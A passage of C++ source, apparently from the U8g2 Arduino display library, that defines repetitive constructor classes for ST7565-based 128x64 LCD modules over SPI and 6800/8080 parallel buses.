U8G2_ST7565_ZOLEN_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_6800 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_8080 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_1_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6059_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_6800 : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_1_8080 : public U8G2 {\n  public: U8G2_ST7565_KS0713_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_6800 : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_1_8080 : public U8G2 {\n  public: U8G2_ST7565_LX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_1_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_1_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_1_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_6800 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    